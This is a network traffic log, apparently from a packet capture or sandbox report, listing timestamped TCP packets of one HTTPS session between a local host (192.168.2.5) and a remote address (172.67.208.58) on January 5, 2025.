Jan 5, 2025 17:55:41.947335005 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.947351933 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.947415113 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.947423935 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.947468996 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.950691938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.950712919 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.950787067 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.950793982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.950835943 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.951212883 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.078825951 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.078844070 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.078973055 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.078985929 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.079061031 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.079261065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.079277039 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.079350948 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.079360008 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.079410076 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.085792065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.085807085 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.085896015 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.085903883 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.085946083 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.087068081 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.087083101 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.087171078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.087179899 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.087229967 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.087634087 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.087649107 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.087718010 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.087724924 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.087769985 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.088279963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.088294983 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.088377953 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.088383913 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.088426113 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.088679075 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.088692904 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.088752031 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.088761091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.088809967 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.091958046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.091976881 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.092077971 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.092086077 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.092128992 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.094667912 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.167521954 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.167547941 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.167680025 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.167691946 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.167732954 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.167963028 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.167979002 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.168052912 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.168060064 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.168117046 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.174531937 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.174546957 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.174611092 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.174618959 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.174674034 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.176146984 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.176162958 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.176239014 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.176246881 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.176286936 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.176470041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.176485062 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.176532030 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.176538944 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.176568031 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.176583052 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.177038908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.177053928 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.177119017 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.177130938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.177177906 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.177341938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.177361012 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.177417994 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.177424908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.177474976 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.178059101 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.180721045 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.180736065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.180813074 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.180821896 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.180862904 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.180962086 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.315865040 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.315890074 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.315968037 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.315988064 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.316034079 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.316875935 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.316893101 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.317001104 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.317008972 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.317071915 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.321794987 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.321815014 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.321892023 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.321901083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.321942091 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.323714018 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.323730946 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.323805094 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.323812962 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.323856115 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.324049950 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.324068069 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.324122906 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.324129105 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.324182034 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.324398041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.324414968 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.324475050 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.324481010 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.324527025 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.324578047 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.324608088 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.324661970 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.324667931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.324714899 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.325920105 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.326870918 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.326886892 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.326952934 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.326958895 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.327001095 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.327606916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.404617071 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.404639006 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.404771090 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.404788971 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.404881954 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.405455112 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.405472994 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.405528069 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.405535936 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.405576944 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.410449982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.410468102 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.410535097 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.410543919 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.410589933 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.412374020 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.412391901 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.412466049 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.412472963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.412514925 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.412655115 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.412672043 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.412728071 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.412734985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.412775040 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.412981987 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.412998915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.413047075 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.413053989 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.413084984 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.413110018 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.413275957 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.413292885 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.413353920 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.413361073 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.413403988 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.414593935 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.415410995 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.415429115 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.415482998 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.415491104 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.415563107 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.417123079 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.493184090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.493207932 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.493319035 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.493329048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.493371964 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.497009993 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.497026920 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.497117996 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.497126102 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.497173071 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.534131050 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.534148932 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.534246922 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.534264088 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.534310102 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.538635015 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.538651943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.538793087 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.538800001 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.538849115 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.538877010 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.538891077 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.538954020 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.538963079 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.539011955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.539453983 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.539469004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.539573908 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.539580107 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.539623976 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.540169001 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.540185928 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.540277958 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.540286064 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.540342093 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.545083046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.545099020 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.545175076 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.545182943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.545231104 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.625725031 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.625745058 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.625819921 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.625837088 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.625956059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.626141071 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.626265049 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.626283884 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.626333952 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.626342058 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.626375914 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.629945040 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.629961967 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.630034924 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.630042076 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.630089998 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.630351067 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.630367041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.630410910 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.630418062 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.630450010 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.630470037 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.630639076 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.630656958 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.630716085 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.630723953 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.630759954 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.631048918 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.631066084 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.631115913 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.631122112 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.631177902 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.631617069 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.631633997 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.631695032 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.631701946 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.631742001 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.634232998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.634248972 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.634299994 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.634306908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.634347916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.634798050 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.714401960 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.714421988 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.714546919 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.714560032 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.714601040 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.714687109 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.714703083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.714752913 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.714761019 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.714795113 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.718394995 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.718420982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.718485117 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.718492985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.718535900 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.718926907 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.718945980 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.719006062 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.719012976 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.719049931 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.719644070 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.719660044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.719729900 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.719736099 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.719777107 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.719961882 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.719979048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.720036030 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.720043898 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.720082045 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.720375061 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.720390081 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.720448017 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.720455885 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.720491886 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.723028898 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.723045111 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.723114967 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.723121881 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.723156929 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.728602886 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.840982914 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.841046095 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.841072083 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.841083050 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.841109037 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.841129065 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.841814041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.841830015 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.841886044 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.841892958 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.841954947 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.842236996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.842256069 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.842297077 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.842303991 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.842333078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.842351913 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.842694044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.842710972 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.842761040 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.842767954 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.842797995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.842818022 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.843067884 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.843086958 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.843126059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.843132973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.843158007 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.843175888 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.843785048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.843801022 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.843871117 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.843878031 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.843911886 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.843992949 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.844007969 CET	443	49843	172.67.208.58	192.168.2.5
